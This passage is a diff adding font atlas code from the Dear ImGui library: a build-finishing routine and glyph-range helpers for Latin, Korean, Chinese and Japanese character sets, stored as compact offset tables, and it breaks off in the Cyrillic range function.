& ImFontAtlasFlags_NoBakedLines)) + atlas->PackIdLines = atlas->AddCustomRectRegular(IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 2, IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 1); + } +} + +// This is called/shared by both the stb_truetype and the FreeType builder. +void ImFontAtlasBuildFinish(ImFontAtlas* atlas) +{ + // Render into our custom data blocks + IM_ASSERT(atlas->TexPixelsAlpha8 != NULL); + ImFontAtlasBuildRenderDefaultTexData(atlas); + ImFontAtlasBuildRenderLinesTexData(atlas); + + // Register custom rectangle glyphs + for (int i = 0; i < atlas->CustomRects.Size; i++) + { + const ImFontAtlasCustomRect* r = &atlas->CustomRects[i]; + if (r->Font == NULL || r->GlyphID == 0) + continue; + + // Will ignore ImFontConfig settings: GlyphMinAdvanceX, GlyphMinAdvanceY, GlyphExtraSpacing, PixelSnapH + IM_ASSERT(r->Font->ContainerAtlas == atlas); + ImVec2 uv0, uv1; + atlas->CalcCustomRectUV(r, &uv0, &uv1); + r->Font->AddGlyph(NULL, (ImWchar)r->GlyphID, r->GlyphOffset.x, r->GlyphOffset.y, r->GlyphOffset.x + r->Width, r->GlyphOffset.y + r->Height, uv0.x, uv0.y, uv1.x, uv1.y, r->GlyphAdvanceX); + } + + // Build all fonts lookup tables + for (int i = 0; i < atlas->Fonts.Size; i++) + if (atlas->Fonts[i]->DirtyLookupTables) + atlas->Fonts[i]->BuildLookupTable(); + + // Ellipsis character is required for rendering elided text. We prefer using U+2026 (horizontal ellipsis). + // However some old fonts may contain ellipsis at U+0085. Here we auto-detect most suitable ellipsis character. + // FIXME: Also note that 0x2026 is currently seldom included in our font ranges. Because of this we are more likely to use three individual dots. + for (int i = 0; i < atlas->Fonts.size(); i++) + { + ImFont* font = atlas->Fonts[i]; + if (font->EllipsisChar != (ImWchar)-1) + continue; + const ImWchar ellipsis_variants[] = { (ImWchar)0x2026, (ImWchar)0x0085 }; + for (int j = 0; j < IM_ARRAYSIZE(ellipsis_variants); j++) + if (font->FindGlyphNoFallback(ellipsis_variants[j]) != NULL) // Verify glyph exists + { + font->EllipsisChar = ellipsis_variants[j]; + break; + } + } +} + +// Retrieve list of range (2 int per range, values are inclusive) +const ImWchar* ImFontAtlas::GetGlyphRangesDefault() +{ + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, // Basic Latin + Latin Supplement + 0, + }; + return &ranges[0]; +} + +const ImWchar* ImFontAtlas::GetGlyphRangesKorean() +{ + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, // Basic Latin + Latin Supplement + 0x3131, 0x3163, // Korean alphabets + 0xAC00, 0xD7A3, // Korean characters + 0, + }; + return &ranges[0]; +} + +const ImWchar* ImFontAtlas::GetGlyphRangesChineseFull() +{ + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, // Basic Latin + Latin Supplement + 0x2000, 0x206F, // General Punctuation + 0x3000, 0x30FF, // CJK Symbols and Punctuations, Hiragana, Katakana + 0x31F0, 0x31FF, // Katakana Phonetic Extensions + 0xFF00, 0xFFEF, // Half-width characters + 0x4e00, 0x9FAF, // CJK Ideograms + 0, + }; + return &ranges[0]; +} + +static void UnpackAccumulativeOffsetsIntoRanges(int base_codepoint, const short* accumulative_offsets, int accumulative_offsets_count, ImWchar* out_ranges) +{ + for (int n = 0; n < accumulative_offsets_count; n++, out_ranges += 2) + { + out_ranges[0] = out_ranges[1] = (ImWchar)(base_codepoint + accumulative_offsets[n]); + base_codepoint += accumulative_offsets[n]; + } + out_ranges[0] = 0; +} + +//------------------------------------------------------------------------- +// [SECTION] ImFontAtlas glyph ranges helpers +//------------------------------------------------------------------------- + +const ImWchar* ImFontAtlas::GetGlyphRangesChineseSimplifiedCommon() +{ + // Store 2500 regularly used characters for Simplified Chinese. + // Sourced from https://zh.wiktionary.org/wiki/%E9%99%84%E5%BD%95:%E7%8E%B0%E4%BB%A3%E6%B1%89%E8%AF%AD%E5%B8%B8%E7%94%A8%E5%AD%97%E8%A1%A8 + // This table covers 97.97% of all characters used during the month in July, 1987. + // You can use ImFontGlyphRangesBuilder to create your own ranges derived from this, by merging existing ranges or adding new characters. + // (Stored as accumulative offsets from the initial unicode codepoint 0x4E00. This encoding is designed to helps us compact the source code size.) + static const short accumulative_offsets_from_0x4E00[] = + { + 0,1,2,4,1,1,1,1,2,1,3,2,1,2,2,1,1,1,1,1,5,2,1,2,3,3,3,2,2,4,1,1,1,2,1,5,2,3,1,2,1,2,1,1,2,1,1,2,2,1,4,1,1,1,1,5,10,1,2,19,2,1,2,1,2,1,2,1,2, + 1,5,1,6,3,2,1,2,2,1,1,1,4,8,5,1,1,4,1,1,3,1,2,1,5,1,2,1,1,1,10,1,1,5,2,4,6,1,4,2,2,2,12,2,1,1,6,1,1,1,4,1,1,4,6,5,1,4,2,2,4,10,7,1,1,4,2,4, + 2,1,4,3,6,10,12,5,7,2,14,2,9,1,1,6,7,10,4,7,13,1,5,4,8,4,1,1,2,28,5,6,1,1,5,2,5,20,2,2,9,8,11,2,9,17,1,8,6,8,27,4,6,9,20,11,27,6,68,2,2,1,1, + 1,2,1,2,2,7,6,11,3,3,1,1,3,1,2,1,1,1,1,1,3,1,1,8,3,4,1,5,7,2,1,4,4,8,4,2,1,2,1,1,4,5,6,3,6,2,12,3,1,3,9,2,4,3,4,1,5,3,3,1,3,7,1,5,1,1,1,1,2, + 3,4,5,2,3,2,6,1,1,2,1,7,1,7,3,4,5,15,2,2,1,5,3,22,19,2,1,1,1,1,2,5,1,1,1,6,1,1,12,8,2,9,18,22,4,1,1,5,1,16,1,2,7,10,15,1,1,6,2,4,1,2,4,1,6, + 1,1,3,2,4,1,6,4,5,1,2,1,1,2,1,10,3,1,3,2,1,9,3,2,5,7,2,19,4,3,6,1,1,1,1,1,4,3,2,1,1,1,2,5,3,1,1,1,2,2,1,1,2,1,1,2,1,3,1,1,1,3,7,1,4,1,1,2,1, + 1,2,1,2,4,4,3,8,1,1,1,2,1,3,5,1,3,1,3,4,6,2,2,14,4,6,6,11,9,1,15,3,1,28,5,2,5,5,3,1,3,4,5,4,6,14,3,2,3,5,21,2,7,20,10,1,2,19,2,4,28,28,2,3, + 2,1,14,4,1,26,28,42,12,40,3,52,79,5,14,17,3,2,2,11,3,4,6,3,1,8,2,23,4,5,8,10,4,2,7,3,5,1,1,6,3,1,2,2,2,5,28,1,1,7,7,20,5,3,29,3,17,26,1,8,4, + 27,3,6,11,23,5,3,4,6,13,24,16,6,5,10,25,35,7,3,2,3,3,14,3,6,2,6,1,4,2,3,8,2,1,1,3,3,3,4,1,1,13,2,2,4,5,2,1,14,14,1,2,2,1,4,5,2,3,1,14,3,12, + 3,17,2,16,5,1,2,1,8,9,3,19,4,2,2,4,17,25,21,20,28,75,1,10,29,103,4,1,2,1,1,4,2,4,1,2,3,24,2,2,2,1,1,2,1,3,8,1,1,1,2,1,1,3,1,1,1,6,1,5,3,1,1, + 1,3,4,1,1,5,2,1,5,6,13,9,16,1,1,1,1,3,2,3,2,4,5,2,5,2,2,3,7,13,7,2,2,1,1,1,1,2,3,3,2,1,6,4,9,2,1,14,2,14,2,1,18,3,4,14,4,11,41,15,23,15,23, + 176,1,3,4,1,1,1,1,5,3,1,2,3,7,3,1,1,2,1,2,4,4,6,2,4,1,9,7,1,10,5,8,16,29,1,1,2,2,3,1,3,5,2,4,5,4,1,1,2,2,3,3,7,1,6,10,1,17,1,44,4,6,2,1,1,6, + 5,4,2,10,1,6,9,2,8,1,24,1,2,13,7,8,8,2,1,4,1,3,1,3,3,5,2,5,10,9,4,9,12,2,1,6,1,10,1,1,7,7,4,10,8,3,1,13,4,3,1,6,1,3,5,2,1,2,17,16,5,2,16,6, + 1,4,2,1,3,3,6,8,5,11,11,1,3,3,2,4,6,10,9,5,7,4,7,4,7,1,1,4,2,1,3,6,8,7,1,6,11,5,5,3,24,9,4,2,7,13,5,1,8,82,16,61,1,1,1,4,2,2,16,10,3,8,1,1, + 6,4,2,1,3,1,1,1,4,3,8,4,2,2,1,1,1,1,1,6,3,5,1,1,4,6,9,2,1,1,1,2,1,7,2,1,6,1,5,4,4,3,1,8,1,3,3,1,3,2,2,2,2,3,1,6,1,2,1,2,1,3,7,1,8,2,1,2,1,5, + 2,5,3,5,10,1,2,1,1,3,2,5,11,3,9,3,5,1,1,5,9,1,2,1,5,7,9,9,8,1,3,3,3,6,8,2,3,2,1,1,32,6,1,2,15,9,3,7,13,1,3,10,13,2,14,1,13,10,2,1,3,10,4,15, + 2,15,15,10,1,3,9,6,9,32,25,26,47,7,3,2,3,1,6,3,4,3,2,8,5,4,1,9,4,2,2,19,10,6,2,3,8,1,2,2,4,2,1,9,4,4,4,6,4,8,9,2,3,1,1,1,1,3,5,5,1,3,8,4,6, + 2,1,4,12,1,5,3,7,13,2,5,8,1,6,1,2,5,14,6,1,5,2,4,8,15,5,1,23,6,62,2,10,1,1,8,1,2,2,10,4,2,2,9,2,1,1,3,2,3,1,5,3,3,2,1,3,8,1,1,1,11,3,1,1,4, + 3,7,1,14,1,2,3,12,5,2,5,1,6,7,5,7,14,11,1,3,1,8,9,12,2,1,11,8,4,4,2,6,10,9,13,1,1,3,1,5,1,3,2,4,4,1,18,2,3,14,11,4,29,4,2,7,1,3,13,9,2,2,5, + 3,5,20,7,16,8,5,72,34,6,4,22,12,12,28,45,36,9,7,39,9,191,1,1,1,4,11,8,4,9,2,3,22,1,1,1,1,4,17,1,7,7,1,11,31,10,2,4,8,2,3,2,1,4,2,16,4,32,2, + 3,19,13,4,9,1,5,2,14,8,1,1,3,6,19,6,5,1,16,6,2,10,8,5,1,2,3,1,5,5,1,11,6,6,1,3,3,2,6,3,8,1,1,4,10,7,5,7,7,5,8,9,2,1,3,4,1,1,3,1,3,3,2,6,16, + 1,4,6,3,1,10,6,1,3,15,2,9,2,10,25,13,9,16,6,2,2,10,11,4,3,9,1,2,6,6,5,4,30,40,1,10,7,12,14,33,6,3,6,7,3,1,3,1,11,14,4,9,5,12,11,49,18,51,31, + 140,31,2,2,1,5,1,8,1,10,1,4,4,3,24,1,10,1,3,6,6,16,3,4,5,2,1,4,2,57,10,6,22,2,22,3,7,22,6,10,11,36,18,16,33,36,2,5,5,1,1,1,4,10,1,4,13,2,7, + 5,2,9,3,4,1,7,43,3,7,3,9,14,7,9,1,11,1,1,3,7,4,18,13,1,14,1,3,6,10,73,2,2,30,6,1,11,18,19,13,22,3,46,42,37,89,7,3,16,34,2,2,3,9,1,7,1,1,1,2, + 2,4,10,7,3,10,3,9,5,28,9,2,6,13,7,3,1,3,10,2,7,2,11,3,6,21,54,85,2,1,4,2,2,1,39,3,21,2,2,5,1,1,1,4,1,1,3,4,15,1,3,2,4,4,2,3,8,2,20,1,8,7,13, + 4,1,26,6,2,9,34,4,21,52,10,4,4,1,5,12,2,11,1,7,2,30,12,44,2,30,1,1,3,6,16,9,17,39,82,2,2,24,7,1,7,3,16,9,14,44,2,1,2,1,2,3,5,2,4,1,6,7,5,3, + 2,6,1,11,5,11,2,1,18,19,8,1,3,24,29,2,1,3,5,2,2,1,13,6,5,1,46,11,3,5,1,1,5,8,2,10,6,12,6,3,7,11,2,4,16,13,2,5,1,1,2,2,5,2,28,5,2,23,10,8,4, + 4,22,39,95,38,8,14,9,5,1,13,5,4,3,13,12,11,1,9,1,27,37,2,5,4,4,63,211,95,2,2,2,1,3,5,2,1,1,2,2,1,1,1,3,2,4,1,2,1,1,5,2,2,1,1,2,3,1,3,1,1,1, + 3,1,4,2,1,3,6,1,1,3,7,15,5,3,2,5,3,9,11,4,2,22,1,6,3,8,7,1,4,28,4,16,3,3,25,4,4,27,27,1,4,1,2,2,7,1,3,5,2,28,8,2,14,1,8,6,16,25,3,3,3,14,3, + 3,1,1,2,1,4,6,3,8,4,1,1,1,2,3,6,10,6,2,3,18,3,2,5,5,4,3,1,5,2,5,4,23,7,6,12,6,4,17,11,9,5,1,1,10,5,12,1,1,11,26,33,7,3,6,1,17,7,1,5,12,1,11, + 2,4,1,8,14,17,23,1,2,1,7,8,16,11,9,6,5,2,6,4,16,2,8,14,1,11,8,9,1,1,1,9,25,4,11,19,7,2,15,2,12,8,52,7,5,19,2,16,4,36,8,1,16,8,24,26,4,6,2,9, + 5,4,36,3,28,12,25,15,37,27,17,12,59,38,5,32,127,1,2,9,17,14,4,1,2,1,1,8,11,50,4,14,2,19,16,4,17,5,4,5,26,12,45,2,23,45,104,30,12,8,3,10,2,2, + 3,3,1,4,20,7,2,9,6,15,2,20,1,3,16,4,11,15,6,134,2,5,59,1,2,2,2,1,9,17,3,26,137,10,211,59,1,2,4,1,4,1,1,1,2,6,2,3,1,1,2,3,2,3,1,3,4,4,2,3,3, + 1,4,3,1,7,2,2,3,1,2,1,3,3,3,2,2,3,2,1,3,14,6,1,3,2,9,6,15,27,9,34,145,1,1,2,1,1,1,1,2,1,1,1,1,2,2,2,3,1,2,1,1,1,2,3,5,8,3,5,2,4,1,3,2,2,2,12, + 4,1,1,1,10,4,5,1,20,4,16,1,15,9,5,12,2,9,2,5,4,2,26,19,7,1,26,4,30,12,15,42,1,6,8,172,1,1,4,2,1,1,11,2,2,4,2,1,2,1,10,8,1,2,1,4,5,1,2,5,1,8, + 4,1,3,4,2,1,6,2,1,3,4,1,2,1,1,1,1,12,5,7,2,4,3,1,1,1,3,3,6,1,2,2,3,3,3,2,1,2,12,14,11,6,6,4,12,2,8,1,7,10,1,35,7,4,13,15,4,3,23,21,28,52,5, + 26,5,6,1,7,10,2,7,53,3,2,1,1,1,2,163,532,1,10,11,1,3,3,4,8,2,8,6,2,2,23,22,4,2,2,4,2,1,3,1,3,3,5,9,8,2,1,2,8,1,10,2,12,21,20,15,105,2,3,1,1, + 3,2,3,1,1,2,5,1,4,15,11,19,1,1,1,1,5,4,5,1,1,2,5,3,5,12,1,2,5,1,11,1,1,15,9,1,4,5,3,26,8,2,1,3,1,1,15,19,2,12,1,2,5,2,7,2,19,2,20,6,26,7,5, + 2,2,7,34,21,13,70,2,128,1,1,2,1,1,2,1,1,3,2,2,2,15,1,4,1,3,4,42,10,6,1,49,85,8,1,2,1,1,4,4,2,3,6,1,5,7,4,3,211,4,1,2,1,2,5,1,2,4,2,2,6,5,6, + 10,3,4,48,100,6,2,16,296,5,27,387,2,2,3,7,16,8,5,38,15,39,21,9,10,3,7,59,13,27,21,47,5,21,6 + }; + static ImWchar base_ranges[] = // not zero-terminated + { + 0x0020, 0x00FF, // Basic Latin + Latin Supplement + 0x2000, 0x206F, // General Punctuation + 0x3000, 0x30FF, // CJK Symbols and Punctuations, Hiragana, Katakana + 0x31F0, 0x31FF, // Katakana Phonetic Extensions + 0xFF00, 0xFFEF // Half-width characters + }; + static ImWchar full_ranges[IM_ARRAYSIZE(base_ranges) + IM_ARRAYSIZE(accumulative_offsets_from_0x4E00) * 2 + 1] = { 0 }; + if (!full_ranges[0]) + { + memcpy(full_ranges, base_ranges, sizeof(base_ranges)); + UnpackAccumulativeOffsetsIntoRanges(0x4E00, accumulative_offsets_from_0x4E00, IM_ARRAYSIZE(accumulative_offsets_from_0x4E00), full_ranges + IM_ARRAYSIZE(base_ranges)); + } + return &full_ranges[0]; +} + +const ImWchar* ImFontAtlas::GetGlyphRangesJapanese() +{ + // 2999 ideograms code points for Japanese + // - 2136 Joyo (meaning "for regular use" or "for common use") Kanji code points + // - 863 Jinmeiyo (meaning "for personal name") Kanji code points + // - Sourced from the character information database of the Information-technology Promotion Agency, Japan + // - https://mojikiban.ipa.go.jp/mji/ + // - Available under the terms of the Creative Commons Attribution-ShareAlike 2.1 Japan (CC BY-SA 2.1 JP). + // - https://creativecommons.org/licenses/by-sa/2.1/jp/deed.en + // - https://creativecommons.org/licenses/by-sa/2.1/jp/legalcode + // - You can generate this code by the script at: + // - https://github.com/vaiorabbit/everyday_use_kanji + // - References: + // - List of Joyo Kanji + // - (Official list by the Agency for Cultural Affairs) https://www.bunka.go.jp/kokugo_nihongo/sisaku/joho/joho/kakuki/14/tosin02/index.html + // - (Wikipedia) https://en.wikipedia.org/wiki/List_of_j%C5%8Dy%C5%8D_kanji + // - List of Jinmeiyo Kanji + // - (Official list by the Ministry of Justice) http://www.moj.go.jp/MINJI/minji86.html + // - (Wikipedia) https://en.wikipedia.org/wiki/Jinmeiy%C5%8D_kanji + // - Missing 1 Joyo Kanji: U+20B9F (Kun'yomi: Shikaru, On'yomi: Shitsu,shichi), see https://github.com/ocornut/imgui/pull/3627 for details. + // You can use ImFontGlyphRangesBuilder to create your own ranges derived from this, by merging existing ranges or adding new characters. + // (Stored as accumulative offsets from the initial unicode codepoint 0x4E00. This encoding is designed to helps us compact the source code size.) + static const short accumulative_offsets_from_0x4E00[] = + { + 0,1,2,4,1,1,1,1,2,1,3,3,2,2,1,5,3,5,7,5,6,1,2,1,7,2,6,3,1,8,1,1,4,1,1,18,2,11,2,6,2,1,2,1,5,1,2,1,3,1,2,1,2,3,3,1,1,2,3,1,1,1,12,7,9,1,4,5,1, + 1,2,1,10,1,1,9,2,2,4,5,6,9,3,1,1,1,1,9,3,18,5,2,2,2,2,1,6,3,7,1,1,1,1,2,2,4,2,1,23,2,10,4,3,5,2,4,10,2,4,13,1,6,1,9,3,1,1,6,6,7,6,3,1,2,11,3, + 2,2,3,2,15,2,2,5,4,3,6,4,1,2,5,2,12,16,6,13,9,13,2,1,1,7,16,4,7,1,19,1,5,1,2,2,7,7,8,2,6,5,4,9,18,7,4,5,9,13,11,8,15,2,1,1,1,2,1,2,2,1,2,2,8, + 2,9,3,3,1,1,4,4,1,1,1,4,9,1,4,3,5,5,2,7,5,3,4,8,2,1,13,2,3,3,1,14,1,1,4,5,1,3,6,1,5,2,1,1,3,3,3,3,1,1,2,7,6,6,7,1,4,7,6,1,1,1,1,1,12,3,3,9,5, + 2,6,1,5,6,1,2,3,18,2,4,14,4,1,3,6,1,1,6,3,5,5,3,2,2,2,2,12,3,1,4,2,3,2,3,11,1,7,4,1,2,1,3,17,1,9,1,24,1,1,4,2,2,4,1,2,7,1,1,1,3,1,2,2,4,15,1, + 1,2,1,1,2,1,5,2,5,20,2,5,9,1,10,8,7,6,1,1,1,1,1,1,6,2,1,2,8,1,1,1,1,5,1,1,3,1,1,1,1,3,1,1,12,4,1,3,1,1,1,1,1,10,3,1,7,5,13,1,2,3,4,6,1,1,30, + 2,9,9,1,15,38,11,3,1,8,24,7,1,9,8,10,2,1,9,31,2,13,6,2,9,4,49,5,2,15,2,1,10,2,1,1,1,2,2,6,15,30,35,3,14,18,8,1,16,10,28,12,19,45,38,1,3,2,3, + 13,2,1,7,3,6,5,3,4,3,1,5,7,8,1,5,3,18,5,3,6,1,21,4,24,9,24,40,3,14,3,21,3,2,1,2,4,2,3,1,15,15,6,5,1,1,3,1,5,6,1,9,7,3,3,2,1,4,3,8,21,5,16,4, + 5,2,10,11,11,3,6,3,2,9,3,6,13,1,2,1,1,1,1,11,12,6,6,1,4,2,6,5,2,1,1,3,3,6,13,3,1,1,5,1,2,3,3,14,2,1,2,2,2,5,1,9,5,1,1,6,12,3,12,3,4,13,2,14, + 2,8,1,17,5,1,16,4,2,2,21,8,9,6,23,20,12,25,19,9,38,8,3,21,40,25,33,13,4,3,1,4,1,2,4,1,2,5,26,2,1,1,2,1,3,6,2,1,1,1,1,1,1,2,3,1,1,1,9,2,3,1,1, + 1,3,6,3,2,1,1,6,6,1,8,2,2,2,1,4,1,2,3,2,7,3,2,4,1,2,1,2,2,1,1,1,1,1,3,1,2,5,4,10,9,4,9,1,1,1,1,1,1,5,3,2,1,6,4,9,6,1,10,2,31,17,8,3,7,5,40,1, + 7,7,1,6,5,2,10,7,8,4,15,39,25,6,28,47,18,10,7,1,3,1,1,2,1,1,1,3,3,3,1,1,1,3,4,2,1,4,1,3,6,10,7,8,6,2,2,1,3,3,2,5,8,7,9,12,2,15,1,1,4,1,2,1,1, + 1,3,2,1,3,3,5,6,2,3,2,10,1,4,2,8,1,1,1,11,6,1,21,4,16,3,1,3,1,4,2,3,6,5,1,3,1,1,3,3,4,6,1,1,10,4,2,7,10,4,7,4,2,9,4,3,1,1,1,4,1,8,3,4,1,3,1, + 6,1,4,2,1,4,7,2,1,8,1,4,5,1,1,2,2,4,6,2,7,1,10,1,1,3,4,11,10,8,21,4,6,1,3,5,2,1,2,28,5,5,2,3,13,1,2,3,1,4,2,1,5,20,3,8,11,1,3,3,3,1,8,10,9,2, + 10,9,2,3,1,1,2,4,1,8,3,6,1,7,8,6,11,1,4,29,8,4,3,1,2,7,13,1,4,1,6,2,6,12,12,2,20,3,2,3,6,4,8,9,2,7,34,5,1,18,6,1,1,4,4,5,7,9,1,2,2,4,3,4,1,7, + 2,2,2,6,2,3,25,5,3,6,1,4,6,7,4,2,1,4,2,13,6,4,4,3,1,5,3,4,4,3,2,1,1,4,1,2,1,1,3,1,11,1,6,3,1,7,3,6,2,8,8,6,9,3,4,11,3,2,10,12,2,5,11,1,6,4,5, + 3,1,8,5,4,6,6,3,5,1,1,3,2,1,2,2,6,17,12,1,10,1,6,12,1,6,6,19,9,6,16,1,13,4,4,15,7,17,6,11,9,15,12,6,7,2,1,2,2,15,9,3,21,4,6,49,18,7,3,2,3,1, + 6,8,2,2,6,2,9,1,3,6,4,4,1,2,16,2,5,2,1,6,2,3,5,3,1,2,5,1,2,1,9,3,1,8,6,4,8,11,3,1,1,1,1,3,1,13,8,4,1,3,2,2,1,4,1,11,1,5,2,1,5,2,5,8,6,1,1,7, + 4,3,8,3,2,7,2,1,5,1,5,2,4,7,6,2,8,5,1,11,4,5,3,6,18,1,2,13,3,3,1,21,1,1,4,1,4,1,1,1,8,1,2,2,7,1,2,4,2,2,9,2,1,1,1,4,3,6,3,12,5,1,1,1,5,6,3,2, + 4,8,2,2,4,2,7,1,8,9,5,2,3,2,1,3,2,13,7,14,6,5,1,1,2,1,4,2,23,2,1,1,6,3,1,4,1,15,3,1,7,3,9,14,1,3,1,4,1,1,5,8,1,3,8,3,8,15,11,4,14,4,4,2,5,5, + 1,7,1,6,14,7,7,8,5,15,4,8,6,5,6,2,1,13,1,20,15,11,9,2,5,6,2,11,2,6,2,5,1,5,8,4,13,19,25,4,1,1,11,1,34,2,5,9,14,6,2,2,6,1,1,14,1,3,14,13,1,6, + 12,21,14,14,6,32,17,8,32,9,28,1,2,4,11,8,3,1,14,2,5,15,1,1,1,1,3,6,4,1,3,4,11,3,1,1,11,30,1,5,1,4,1,5,8,1,1,3,2,4,3,17,35,2,6,12,17,3,1,6,2, + 1,1,12,2,7,3,3,2,1,16,2,8,3,6,5,4,7,3,3,8,1,9,8,5,1,2,1,3,2,8,1,2,9,12,1,1,2,3,8,3,24,12,4,3,7,5,8,3,3,3,3,3,3,1,23,10,3,1,2,2,6,3,1,16,1,16, + 22,3,10,4,11,6,9,7,7,3,6,2,2,2,4,10,2,1,1,2,8,7,1,6,4,1,3,3,3,5,10,12,12,2,3,12,8,15,1,1,16,6,6,1,5,9,11,4,11,4,2,6,12,1,17,5,13,1,4,9,5,1,11, + 2,1,8,1,5,7,28,8,3,5,10,2,17,3,38,22,1,2,18,12,10,4,38,18,1,4,44,19,4,1,8,4,1,12,1,4,31,12,1,14,7,75,7,5,10,6,6,13,3,2,11,11,3,2,5,28,15,6,18, + 18,5,6,4,3,16,1,7,18,7,36,3,5,3,1,7,1,9,1,10,7,2,4,2,6,2,9,7,4,3,32,12,3,7,10,2,23,16,3,1,12,3,31,4,11,1,3,8,9,5,1,30,15,6,12,3,2,2,11,19,9, + 14,2,6,2,3,19,13,17,5,3,3,25,3,14,1,1,1,36,1,3,2,19,3,13,36,9,13,31,6,4,16,34,2,5,4,2,3,3,5,1,1,1,4,3,1,17,3,2,3,5,3,1,3,2,3,5,6,3,12,11,1,3, + 1,2,26,7,12,7,2,14,3,3,7,7,11,25,25,28,16,4,36,1,2,1,6,2,1,9,3,27,17,4,3,4,13,4,1,3,2,2,1,10,4,2,4,6,3,8,2,1,18,1,1,24,2,2,4,33,2,3,63,7,1,6, + 40,7,3,4,4,2,4,15,18,1,16,1,1,11,2,41,14,1,3,18,13,3,2,4,16,2,17,7,15,24,7,18,13,44,2,2,3,6,1,1,7,5,1,7,1,4,3,3,5,10,8,2,3,1,8,1,1,27,4,2,1, + 12,1,2,1,10,6,1,6,7,5,2,3,7,11,5,11,3,6,6,2,3,15,4,9,1,1,2,1,2,11,2,8,12,8,5,4,2,3,1,5,2,2,1,14,1,12,11,4,1,11,17,17,4,3,2,5,5,7,3,1,5,9,9,8, + 2,5,6,6,13,13,2,1,2,6,1,2,2,49,4,9,1,2,10,16,7,8,4,3,2,23,4,58,3,29,1,14,19,19,11,11,2,7,5,1,3,4,6,2,18,5,12,12,17,17,3,3,2,4,1,6,2,3,4,3,1, + 1,1,1,5,1,1,9,1,3,1,3,6,1,8,1,1,2,6,4,14,3,1,4,11,4,1,3,32,1,2,4,13,4,1,2,4,2,1,3,1,11,1,4,2,1,4,4,6,3,5,1,6,5,7,6,3,23,3,5,3,5,3,3,13,3,9,10, + 1,12,10,2,3,18,13,7,160,52,4,2,2,3,2,14,5,4,12,4,6,4,1,20,4,11,6,2,12,27,1,4,1,2,2,7,4,5,2,28,3,7,25,8,3,19,3,6,10,2,2,1,10,2,5,4,1,3,4,1,5, + 3,2,6,9,3,6,2,16,3,3,16,4,5,5,3,2,1,2,16,15,8,2,6,21,2,4,1,22,5,8,1,1,21,11,2,1,11,11,19,13,12,4,2,3,2,3,6,1,8,11,1,4,2,9,5,2,1,11,2,9,1,1,2, + 14,31,9,3,4,21,14,4,8,1,7,2,2,2,5,1,4,20,3,3,4,10,1,11,9,8,2,1,4,5,14,12,14,2,17,9,6,31,4,14,1,20,13,26,5,2,7,3,6,13,2,4,2,19,6,2,2,18,9,3,5, + 12,12,14,4,6,2,3,6,9,5,22,4,5,25,6,4,8,5,2,6,27,2,35,2,16,3,7,8,8,6,6,5,9,17,2,20,6,19,2,13,3,1,1,1,4,17,12,2,14,7,1,4,18,12,38,33,2,10,1,1, + 2,13,14,17,11,50,6,33,20,26,74,16,23,45,50,13,38,33,6,6,7,4,4,2,1,3,2,5,8,7,8,9,3,11,21,9,13,1,3,10,6,7,1,2,2,18,5,5,1,9,9,2,68,9,19,13,2,5, + 1,4,4,7,4,13,3,9,10,21,17,3,26,2,1,5,2,4,5,4,1,7,4,7,3,4,2,1,6,1,1,20,4,1,9,2,2,1,3,3,2,3,2,1,1,1,20,2,3,1,6,2,3,6,2,4,8,1,3,2,10,3,5,3,4,4, + 3,4,16,1,6,1,10,2,4,2,1,1,2,10,11,2,2,3,1,24,31,4,10,10,2,5,12,16,164,15,4,16,7,9,15,19,17,1,2,1,1,5,1,1,1,1,1,3,1,4,3,1,3,1,3,1,2,1,1,3,3,7, + 2,8,1,2,2,2,1,3,4,3,7,8,12,92,2,10,3,1,3,14,5,25,16,42,4,7,7,4,2,21,5,27,26,27,21,25,30,31,2,1,5,13,3,22,5,6,6,11,9,12,1,5,9,7,5,5,22,60,3,5, + 13,1,1,8,1,1,3,3,2,1,9,3,3,18,4,1,2,3,7,6,3,1,2,3,9,1,3,1,3,2,1,3,1,1,1,2,1,11,3,1,6,9,1,3,2,3,1,2,1,5,1,1,4,3,4,1,2,2,4,4,1,7,2,1,2,2,3,5,13, + 18,3,4,14,9,9,4,16,3,7,5,8,2,6,48,28,3,1,1,4,2,14,8,2,9,2,1,15,2,4,3,2,10,16,12,8,7,1,1,3,1,1,1,2,7,4,1,6,4,38,39,16,23,7,15,15,3,2,12,7,21, + 37,27,6,5,4,8,2,10,8,8,6,5,1,2,1,3,24,1,16,17,9,23,10,17,6,1,51,55,44,13,294,9,3,6,2,4,2,2,15,1,1,1,13,21,17,68,14,8,9,4,1,4,9,3,11,7,1,1,1, + 5,6,3,2,1,1,1,2,3,8,1,2,2,4,1,5,5,2,1,4,3,7,13,4,1,4,1,3,1,1,1,5,5,10,1,6,1,5,2,1,5,2,4,1,4,5,7,3,18,2,9,11,32,4,3,3,2,4,7,11,16,9,11,8,13,38, + 32,8,4,2,1,1,2,1,2,4,4,1,1,1,4,1,21,3,11,1,16,1,1,6,1,3,2,4,9,8,57,7,44,1,3,3,13,3,10,1,1,7,5,2,7,21,47,63,3,15,4,7,1,16,1,1,2,8,2,3,42,15,4, + 1,29,7,22,10,3,78,16,12,20,18,4,67,11,5,1,3,15,6,21,31,32,27,18,13,71,35,5,142,4,10,1,2,50,19,33,16,35,37,16,19,27,7,1,133,19,1,4,8,7,20,1,4, + 4,1,10,3,1,6,1,2,51,5,40,15,24,43,22928,11,1,13,154,70,3,1,1,7,4,10,1,2,1,1,2,1,2,1,2,2,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1, + 3,2,1,1,1,1,2,1,1, + }; + static ImWchar base_ranges[] = // not zero-terminated + { + 0x0020, 0x00FF, // Basic Latin + Latin Supplement + 0x3000, 0x30FF, // CJK Symbols and Punctuations, Hiragana, Katakana + 0x31F0, 0x31FF, // Katakana Phonetic Extensions + 0xFF00, 0xFFEF // Half-width characters + }; + static ImWchar full_ranges[IM_ARRAYSIZE(base_ranges) + IM_ARRAYSIZE(accumulative_offsets_from_0x4E00)*2 + 1] = { 0 }; + if (!full_ranges[0]) + { + memcpy(full_ranges, base_ranges, sizeof(base_ranges)); + UnpackAccumulativeOffsetsIntoRanges(0x4E00, accumulative_offsets_from_0x4E00, IM_ARRAYSIZE(accumulative_offsets_from_0x4E00), full_ranges + IM_ARRAYSIZE(base_ranges)); + } + return &full_ranges[0]; +} + +const ImWchar* ImFontAtlas::GetGlyphRangesCyrillic() +{ + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, // Basic Latin + Latin Supplement + 0x0400, 